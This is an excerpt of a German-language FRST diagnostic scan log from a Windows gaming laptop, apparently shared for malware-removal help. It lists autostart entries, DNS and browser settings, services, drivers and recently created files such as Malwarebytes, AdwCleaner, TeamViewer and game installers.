HKLM\...\Run: [Classic Start Menu] => C:\Program Files\Classic Shell\ClassicStartMenu.exe [163800 2016-07-30] (IvoSoft)
HKLM\...\Run: [Malwarebytes TrayApp] => C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\mbamtray.exe [3146704 2017-05-09] (Malwarebytes)
HKLM-x32\...\Run: [Sound Blaster Cinema 3] => C:\Program Files (x86)\Creative\Sound Blaster Cinema 3\Sound Blaster Cinema 3\SBCinema3.exe [1464832 2016-07-29] (Creative Technology Ltd)
HKLM-x32\...\Run: [UpdReg] => C:\windows\UpdReg.EXE [90112 2000-05-11] (Creative Technology Ltd.)
HKU\S-1-5-21-743485210-3963512150-464095969-1003\...\Run: [Overwolf] => C:\Program Files (x86)\Overwolf\OverwolfLauncher.exe [1058360 2017-05-14] ()
HKU\S-1-5-21-743485210-3963512150-464095969-1003\...\Run: [Steam] => D:\Steam\steam.exe [3042592 2017-06-01] (Valve Corporation)
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\NewShortcut1.lnk [2017-05-12]
ShortcutTarget: NewShortcut1.lnk -> C:\Program Files (x86)\Hotkey\HkeyTray.exe (CLEVO CO.)

==================== Internet (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.)

Tcpip\Parameters: [DhcpNameServer] 192.168.178.1
Tcpip\Parameters: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{05350888-1e85-11e7-9c91-806e6f6e6963}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{0c3a027a-71f5-4ae6-a09f-b43447e4bedf}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{0c3a027a-71f5-4ae6-a09f-b43447e4bedf}: [DhcpNameServer] 8.8.8.8
Tcpip\..\Interfaces\{21091673-449d-4377-bff3-92ec5412ab18}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{21091673-449d-4377-bff3-92ec5412ab18}: [DhcpNameServer] 192.168.178.1
Tcpip\..\Interfaces\{2330fd66-d402-4ecc-a6e1-0089109ba6d1}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{2330fd66-d402-4ecc-a6e1-0089109ba6d1}: [DhcpNameServer] 8.8.8.8
Tcpip\..\Interfaces\{342f28b7-2f96-4d98-90c7-8e4ffe97a81f}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{b5b82594-73d0-42da-a9b0-98d0d6569371}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{b5b82594-73d0-42da-a9b0-98d0d6569371}: [DhcpNameServer] 8.8.8.8

Internet Explorer:
==================
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.mysn.de
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.mysn.de
HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Internet Explorer\Main,Start Page =
HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = www.mysn.de

FireFox:
========
FF DefaultProfile: bckp6m63.default
FF ProfilePath: C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default [2017-06-06]
FF Extension: (Adblock Plus) - C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default\Extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi [2017-05-31]
FF Plugin-x32: @microsoft.com/OfficeLive,version=1.5 -> C:\Program Files (x86)\Microsoft\Office Live\npOLW.dll [2010-04-26] (Microsoft Corp.)
FF Plugin-x32: @nvidia.com/3DVision -> C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dv.dll [2017-05-01] (NVIDIA Corporation)
FF Plugin-x32: @nvidia.com/3DVisionStreaming -> C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dvstreaming.dll [2017-05-01] (NVIDIA Corporation)

Chrome:
=======
CHR HKLM-x32\...\Chrome\Extension: [ccjleegmemocfpghkhpjmiccjcacackp] - hxxps://clients2.google.com/service/update2/crx

==================== Dienste (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

R3 cphs; C:\windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\IntelCpHeciSvc.exe [284144 2016-11-21] (Intel Corporation)
R2 cplspcon; C:\windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\IntelCpHDCPSvc.exe [462832 2016-11-21] (Intel Corporation)
R2 HKClipSvc; C:\Program Files (x86)\Hotkey\Driver\x64\HKClipSvc.exe [256480 2015-11-26] (Insyde Software Corp.)
S2 IAStorDataMgrSvc; C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorDataMgrSvc.exe [17976 2016-09-20] (Intel Corporation)
R2 igfxCUIService2.0.0.0; C:\windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\igfxCUIService.exe [324592 2016-11-21] (Intel Corporation)
S3 Intel(R) Capability Licensing Service TCP IP Interface; C:\Program Files\Intel\iCLS Client\SocketHeciServer.exe [630048 2016-10-13] (Intel(R) Corporation)
R3 Intel(R) Online Connect; C:\Program Files\Intel\Intel(R) Online Connect\ioc.exe [25312 2016-11-01] (Intel Corporation)
S2 Intel(R) Online Connect Helper; C:\Program Files\Intel\Intel(R) Online Connect\iocHelperService.exe [34528 2016-11-01] (Intel Corporation)
S3 Intel(R) Online Connect Software Asset Manager; C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\IntelSoftwareAssetManagerService.exe [18152 2016-10-14] (Intel Corporation)
R2 Intel(R) TechnologyAccessLegacyCSLoader; C:\Program Files\Intel\Intel(R) Online Connect Access\LegacyCsLoaderService.exe [173288 2016-10-17] (Intel(R) Corporation)
R2 Intel(R) TechnologyAccessService; C:\Program Files\Intel\Intel(R) Online Connect Access\IntelTechnologyAccessService.exe [496872 2016-10-17] (Intel(R) Corporation)
R2 jhi_service; C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe [177440 2016-11-08] (Intel Corporation)
R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe [4470736 2017-05-09] (Malwarebytes)
R2 NvContainerLocalSystem; C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [495224 2017-05-03] (NVIDIA Corporation)
R3 NvContainerNetworkService; C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [495224 2017-05-03] (NVIDIA Corporation)
R2 NVDisplay.ContainerLocalSystem; C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe [462968 2017-05-01] (NVIDIA Corporation)
R2 NvTelemetryContainer; C:\Program Files (x86)\NVIDIA Corporation\NvTelemetry\NvTelemetryContainer.exe [450168 2017-05-03] (NVIDIA Corporation)
S3 OverwolfUpdater; C:\Program Files (x86)\Overwolf\OverwolfUpdater.exe [1326408 2017-05-14] (Overwolf LTD)
R2 PowerBiosServer; C:\Program Files (x86)\Hotkey\HotkeyService.exe [33280 2016-12-05] (CLEVO CO.) [Datei ist nicht signiert]
R2 SynTPEnhService; C:\Program Files\Synaptics\SynTP\SynTPEnhService.exe [257624 2017-02-07] (Synaptics Incorporated)
R2 TeamViewer; C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe [10884848 2017-05-23] (TeamViewer GmbH)
S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [342264 2017-03-18] (Microsoft Corporation)
S3 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [102816 2017-03-18] (Microsoft Corporation)
R2 ibtsiva; %SystemRoot%\system32\ibtsiva [X]

===================== Treiber (Nicht auf der Ausnahmeliste) ======================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

R3 AirplaneModeHid; C:\windows\system32\DRIVERS\AirplaneModeHid.sys [33496 2015-10-01] (Insyde Corporation)
R1 ESProtectionDriver; C:\windows\system32\drivers\mbae64.sys [77376 2017-05-31] ()
R0 FPWinIo; C:\windows\System32\drivers\FPWinIo.sys [23536 2014-10-07] (Egis Technology Inc.)
R3 HKKbdFltr; C:\windows\system32\DRIVERS\HKKbdFltr.sys [51400 2015-11-26] (Insyde Software Corp.)
R3 HKMouFltr; C:\windows\system32\DRIVERS\HKMouFltr.sys [48344 2015-11-26] (Insyde Software Corp.)
R3 ibtusb; C:\windows\system32\DRIVERS\ibtusb.sys [173576 2017-03-10] (Intel Corporation)
R3 igfx; C:\windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\igdkmd64.sys [11039704 2016-11-21] (Intel Corporation)
R2 MBAMChameleon; C:\windows\system32\drivers\MBAMChameleon.sys [188312 2017-06-03] (Malwarebytes)
R3 MBAMFarflt; C:\windows\system32\drivers\farflt.sys [113592 2017-06-06] (Malwarebytes)
R3 MBAMProtection; C:\windows\system32\drivers\mbam.sys [44960 2017-06-06] (Malwarebytes)
R0 MBAMSwissArmy; C:\windows\System32\drivers\MBAMSwissArmy.sys [252832 2017-06-06] (Malwarebytes)
R3 MBAMWebProtection; C:\windows\system32\drivers\mwac.sys [93600 2017-06-06] (Malwarebytes)
R1 ndisrd; C:\windows\system32\DRIVERS\ndisrfl.sys [59792 2016-09-13] (Intel Corporation)
R3 Netwtw04; C:\windows\System32\drivers\Netwtw04.sys [7218176 2017-03-18] (Intel Corporation)
R3 nvlddmkm; C:\windows\System32\DriverStore\FileRepository\nvcvwu.inf_amd64_166fee8ea72cb783\nvlddmkm.sys [14456920 2017-05-18] (NVIDIA Corporation)
R3 NvStreamKms; C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamKms.sys [30328 2017-05-03] (NVIDIA Corporation)
R3 nvvad_WaveExtensible; C:\windows\system32\drivers\nvvad64v.sys [48248 2017-05-03] (NVIDIA Corporation)
R3 nvvhci; C:\windows\System32\drivers\nvvhci.sys [57976 2017-05-03] (NVIDIA Corporation)
R3 rt640x64; C:\windows\System32\drivers\rt640x64.sys [943112 2016-08-01] (Realtek                                            )
R3 RTSPER; C:\windows\system32\DRIVERS\RtsPer.sys [779232 2016-08-05] (Realsil Semiconductor Corporation)
S3 SDFRd; C:\windows\System32\drivers\SDFRd.sys [31128 2017-03-18] ()
R3 SmbDrvI; C:\windows\system32\DRIVERS\Smb_driver_Intel.sys [64088 2017-02-07] (Synaptics Incorporated)
S3 WdBoot; C:\windows\system32\drivers\WdBoot.sys [44632 2017-03-18] (Microsoft Corporation)
S3 WdFilter; C:\windows\system32\drivers\WdFilter.sys [294816 2017-03-18] (Microsoft Corporation)
S3 WdNisDrv; C:\windows\System32\Drivers\WdNisDrv.sys [121248 2017-03-18] (Microsoft Corporation)
S3 AIDA64Driver; \??\C:\Users\Administrator\Desktop\XSTRA\Apps\AIDA64\kerneld.x64 [X]

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
FRST2:
Code:
==================== Drei Monate: Erstellte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-06-06 12:25 - 2017-06-06 12:25 - 00000000 ____D C:\Users\****\Desktop\FRST-OlderVersion
2017-06-06 11:41 - 2017-06-06 11:41 - 00000201 _____ C:\Users\****\Desktop\The Elder Scrolls V Skyrim.url
2017-06-06 11:39 - 2017-06-06 11:39 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Games
2017-06-05 12:16 - 2017-06-06 01:28 - 00000000 ____D C:\Users\****\AppData\Local\Skyrim
2017-06-05 12:15 - 2005-03-18 17:19 - 02337488 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_25.dll
2017-06-04 16:53 - 2017-06-04 16:53 - 00000000 ____D C:\Users\****\Documents\Paradox Interactive
2017-06-04 11:45 - 2017-06-04 11:45 - 00000000 ____D C:\Users\****\AppData\Local\PAYDAY 2
2017-06-04 11:45 - 2017-06-04 11:45 - 00000000 ____D C:\Program Files (x86)\AGEIA Technologies
2017-06-03 21:45 - 2017-06-03 21:58 - 1050024768 _____ ( ) C:\Users\****\Downloads\North_and_South_First_Manassas_V1.1.exe
2017-06-03 19:07 - 2017-06-03 19:07 - 00000202 _____ C:\Users\****\Desktop\PAYDAY 2.url
2017-06-03 16:29 - 2017-06-03 16:29 - 00167470 _____ C:\Users\****\Desktop\SystemLook.txt
2017-06-03 15:52 - 2017-06-03 15:52 - 00001089 _____ C:\Users\****\Desktop\adwcleaner_6.047.exe - Verknüpfung.lnk
2017-06-03 15:51 - 2017-06-03 16:24 - 00167468 _____ C:\Users\****\Downloads\SystemLook.txt
2017-06-03 15:50 - 2017-06-03 15:50 - 00165376 _____ C:\Users\****\Desktop\SystemLook_x64.exe
2017-06-03 15:44 - 2017-06-06 12:27 - 00005657 _____ C:\Users\****\Desktop\Fixlog.txt
2017-06-03 00:41 - 2017-06-03 01:34 - 00377706 _____ C:\Users\****\Desktop\mbam.txt
2017-06-03 00:20 - 2017-06-06 12:26 - 00252832 _____ (Malwarebytes) C:\windows\system32\Drivers\MBAMSwissArmy.sys
2017-06-03 00:20 - 2017-06-06 12:26 - 00113592 _____ (Malwarebytes) C:\windows\system32\Drivers\farflt.sys
2017-06-03 00:20 - 2017-06-06 12:26 - 00093600 _____ (Malwarebytes) C:\windows\system32\Drivers\mwac.sys
2017-06-03 00:20 - 2017-06-06 12:26 - 00044960 _____ (Malwarebytes) C:\windows\system32\Drivers\mbam.sys
2017-06-03 00:20 - 2017-06-03 00:20 - 00188312 _____ (Malwarebytes) C:\windows\system32\Drivers\MBAMChameleon.sys
2017-06-03 00:20 - 2017-06-03 00:20 - 00001918 _____ C:\Users\Public\Desktop\Malwarebytes.lnk
2017-06-03 00:20 - 2017-06-03 00:20 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes
2017-06-03 00:20 - 2017-06-03 00:20 - 00000000 ____D C:\ProgramData\Malwarebytes
2017-06-03 00:20 - 2017-06-03 00:20 - 00000000 ____D C:\Program Files\Malwarebytes
2017-06-03 00:20 - 2017-05-31 11:09 - 00077376 _____ C:\windows\system32\Drivers\mbae64.sys
2017-06-03 00:19 - 2017-06-03 00:19 - 64025992 _____ (Malwarebytes ) C:\Users\****\Downloads\mb3-setup-consumer-3.1.2.1733-1.0.139-1.0.2060.exe
2017-06-03 00:15 - 2017-06-03 00:15 - 00060223 _____ C:\Users\****\Downloads\https _de.malwarebytes.com_.htm
2017-06-03 00:08 - 2017-06-03 01:01 - 00022416 _____ C:\Users\****\Desktop\AdwCleaner[C0].txt
2017-06-03 00:07 - 2017-06-03 00:07 - 00021228 _____ C:\Users\****\Desktop\AdwCleaner[S0].txt
2017-06-03 00:05 - 2017-06-03 00:42 - 00000000 ____D C:\AdwCleaner
2017-06-03 00:04 - 2017-06-03 00:04 - 04110280 _____ C:\Users\****\Downloads\adwcleaner_6.047.exe
2017-06-02 18:06 - 2017-06-02 18:07 - 00080000 _____ C:\Users\****\Desktop\Neues Textdokument.txt
2017-06-02 18:04 - 2017-06-02 18:04 - 00000000 _____ C:\Users\****\Desktop\FRST2.txt
2017-06-02 18:02 - 2017-06-03 16:48 - 00026676 _____ C:\Users\****\Desktop\Addition.txt
2017-06-02 17:42 - 2017-06-06 12:28 - 00016120 _____ C:\Users\****\Desktop\FRST.txt
2017-06-02 17:42 - 2017-06-06 12:28 - 00000000 ____D C:\FRST
2017-06-02 17:42 - 2017-06-06 12:25 - 02433536 _____ (Farbar) C:\Users\****\Desktop\FRST64.exe
2017-06-02 17:11 - 2017-06-02 17:11 - 14383616 _____ C:\Users\****\Downloads\gta_sa.exe
2017-06-02 17:05 - 2016-12-27 04:34 - 00025432 _____ C:\windows\system32\Drivers\vcdrom.sys
2017-06-02 16:46 - 2017-06-02 16:46 - 00000201 _____ C:\Users\****\Desktop\Grand Theft Auto San Andreas.url
2017-06-02 16:38 - 2017-06-04 21:07 - 00000843 _____ C:\Users\****\Desktop\settings.ini
2017-06-02 16:38 - 2017-06-02 16:39 - 00000148 _____ C:\Users\****\Desktop\fahndungen.ini
2017-06-02 16:29 - 2016-12-28 17:32 - 00827392 _____ C:\Users\****\Desktop\SAPDBinder.exe
2017-06-02 16:27 - 2017-06-02 16:27 - 00725157 _____ C:\windows\unins000.exe
2017-06-02 16:26 - 2017-06-02 16:26 - 00001118 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamViewer 12.lnk
2017-06-02 16:26 - 2017-06-02 16:26 - 00001106 _____ C:\Users\Public\Desktop\TeamViewer 12.lnk
2017-06-02 16:26 - 2017-06-02 16:26 - 00000000 ____D C:\Users\****\AppData\Roaming\TeamViewer
2017-06-02 16:25 - 2017-06-02 16:28 - 00000000 ____D C:\Program Files (x86)\TeamViewer
2017-06-02 16:25 - 2017-06-02 16:25 - 15507008 _____ (TeamViewer GmbH) C:\Users\****\Downloads\TeamViewer_Setup.exe
2017-06-02 16:14 - 2017-06-02 16:27 - 00006598 _____ C:\windows\unins000.dat
2017-06-01 22:05 - 2017-06-01 22:05 - 00004000 _____ C:\windows\System32\Tasks\NVIDIA GeForce Experience SelfUpdate_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-06-01 22:05 - 2017-05-03 21:28 - 00001951 _____ C:\windows\NvTelemetryContainerRecovery.bat
2017-06-01 22:04 - 2017-05-03 22:21 - 00143480 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvaudcap32v.dll
2017-06-01 20:50 - 2017-06-01 20:50 - 00000000 ____D C:\Users\****\AppData\Local\ElevatedDiagnostics
2017-06-01 18:03 - 2017-06-01 19:56 - 00000000 ____D C:\Donads-Keybinder
2017-06-01 17:57 - 2017-06-01 17:57 - 00417280 _____ C:\Users\****\Desktop\Donads_Keybinder.exe
2017-05-31 21:59 - 2017-05-31 22:22 - 00000795 _____ C:\Users\****\Desktop\Daten.ini
2017-05-31 21:59 - 2017-03-31 16:15 - 00808448 _____ C:\Users\****\Desktop\FIB.exe
2017-05-31 20:56 - 2017-05-31 20:56 - 00000000 ____D C:\windows\San Andreas Mod Installer
2017-05-31 20:08 - 2017-05-31 20:08 - 00000000 ____D C:\Program Files (x86)\VulkanRT
2017-05-31 20:08 - 2017-05-01 22:14 - 00134592 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvStreaming.exe
2017-05-31 20:08 - 2017-03-10 23:17 - 00536864 _____ C:\windows\system32\vulkan-1.dll
2017-05-31 20:08 - 2017-03-10 23:17 - 00525600 _____ C:\windows\SysWOW64\vulkan-1.dll
2017-05-31 20:08 - 2017-03-10 23:17 - 00254240 _____ C:\windows\system32\vulkaninfo.exe
2017-05-31 20:08 - 2017-03-10 23:17 - 00233760 _____ C:\windows\SysWOW64\vulkaninfo.exe
2017-05-31 18:59 - 2017-05-31 18:59 - 00000000 ____D C:\Users\****\Documents\Mount&Blade Warband Savegames
2017-05-31 15:30 - 2017-05-31 15:30 - 00000000 ____D C:\Users\****\AppData\Local\Arktos Entertainment
2017-05-31 15:29 - 2017-05-31 15:29 - 00000000 ____D C:\Users\****\Documents\FredaikisAB
2017-05-31 15:29 - 2017-05-31 15:29 - 00000000 ____D C:\Users\****\AppData\Local\FredaikisAB
2017-05-31 15:29 - 2017-05-31 15:29 - 00000000 ____D C:\Users\****\AppData\Local\CrashRpt
2017-05-31 14:55 - 2017-05-31 15:09 - 00000000 ____D C:\windows\SysWOW64\directx
2017-05-31 14:55 - 2017-05-31 14:55 - 00292184 _____ (Microsoft Corporation) C:\Users\****\Downloads\dxwebsetup.exe
2017-05-31 14:27 - 2017-05-31 14:27 - 00000000 ____D C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\San Andreas Multiplayer
2017-05-31 14:26 - 2017-05-31 15:12 - 00000000 ____D C:\Users\****\Documents\GTA San Andreas User Files
2017-05-31 14:26 - 2015-04-27 04:50 - 00412672 _____ C:\Users\****\Desktop\samp.exe
2017-05-31 13:59 - 2017-05-31 14:02 - 00000000 ____D C:\Users\****\AppData\Local\NVIDIA
2017-05-31 13:47 - 2017-05-31 13:48 - 16270006 _____ C:\Users\****\Downloads\sa-mp-0.3.7-install.exe
2017-05-31 13:45 - 2017-05-31 19:00 - 00000000 ____D C:\Users\****\Documents\Mount&Blade Warband
2017-05-31 13:45 - 2017-05-31 18:59 - 00000000 ____D C:\Users\****\AppData\Roaming\Mount&Blade Warband
2017-05-30 22:47 - 2017-05-30 22:47 - 00000200 _____ C:\Users\****\Desktop\Garry's Mod.url
2017-05-30 22:16 - 2017-05-30 22:16 - 00000202 _____ C:\Users\****\Desktop\Tabletop Simulator.url
2017-05-30 22:15 - 2017-05-30 22:15 - 00000202 _____ C:\Users\****\Desktop\Stellaris.url
2017-05-30 22:15 - 2017-05-30 22:15 - 00000202 _____ C:\Users\****\Desktop\Men of War Assault Squad 2.url
2017-05-30 22:13 - 2017-05-30 22:13 - 00000201 _____ C:\Users\****\Desktop\Men of War Assault Squad.url
2017-05-30 22:12 - 2017-05-30 22:12 - 00000201 _____ C:\Users\****\Desktop\Anno 1404.url
2017-05-30 22:12 - 2017-05-30 22:12 - 00000199 _____ C:\Users\****\Desktop\Counter-Strike Global Offensive.url
2017-05-30 22:11 - 2017-05-30 22:11 - 00000202 _____ C:\Users\****\Desktop\Infestation The New Z.url
2017-05-30 22:11 - 2017-05-30 22:11 - 00000202 _____ C:\Users\****\Desktop\Europa Universalis IV.url
2017-05-30 22:11 - 2017-05-30 22:11 - 00000201 _____ C:\Users\****\Desktop\The Guild II Renaissance.url
2017-05-30 22:03 - 2010-06-02 04:55 - 00527192 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_7.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00518488 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_7.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00239960 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_7.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00176984 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_7.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00077656 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_5.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00074072 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_5.dll
2017-05-30 22:03 - 2010-05-26 11:41 - 02526056 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_43.dll
2017-05-30 22:03 - 2010-05-26 11:41 - 02106216 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_43.dll
2017-05-30 22:03 - 2010-05-26 11:41 - 01907552 _____ (Microsoft Corporation) C:\windows\system32\d3dcsx_43.dll
2017-05-30 22:03 - 2010-05-26 11:41 - 01868128 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dcsx_43.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00530776 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_6.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00528216 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_6.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00238936 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_6.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00176984 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_6.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00078680 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_4.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00074072 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_4.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00024920 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_7.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00022360 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_7.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00517960 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_5.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00515416 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_5.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00238936 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_5.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00176968 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_5.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00073544 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_3.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00069464 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_3.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 05554512 _____ (Microsoft Corporation) C:\windows\system32\d3dcsx_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 05501792 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dcsx_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 02582888 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 02475352 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 01974616 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 01892184 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 00523088 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 00453456 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 00285024 _____ (Microsoft Corporation) C:\windows\system32\d3dx11_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 00235344 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx11_42.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00521560 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_4.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00517448 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_4.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00235352 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_4.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00174936 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_4.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00024920 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_6.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00022360 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_6.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 05425496 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 04178264 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 02430312 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 01846632 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 00520544 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 00453456 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_41.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00518480 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_3.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00514384 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_3.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00235856 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_3.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00175440 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_3.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00074576 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_2.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00070992 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_2.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00025936 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_5.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00023376 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_5.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 05631312 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_40.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 04379984 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_40.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 02605920 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_40.dll
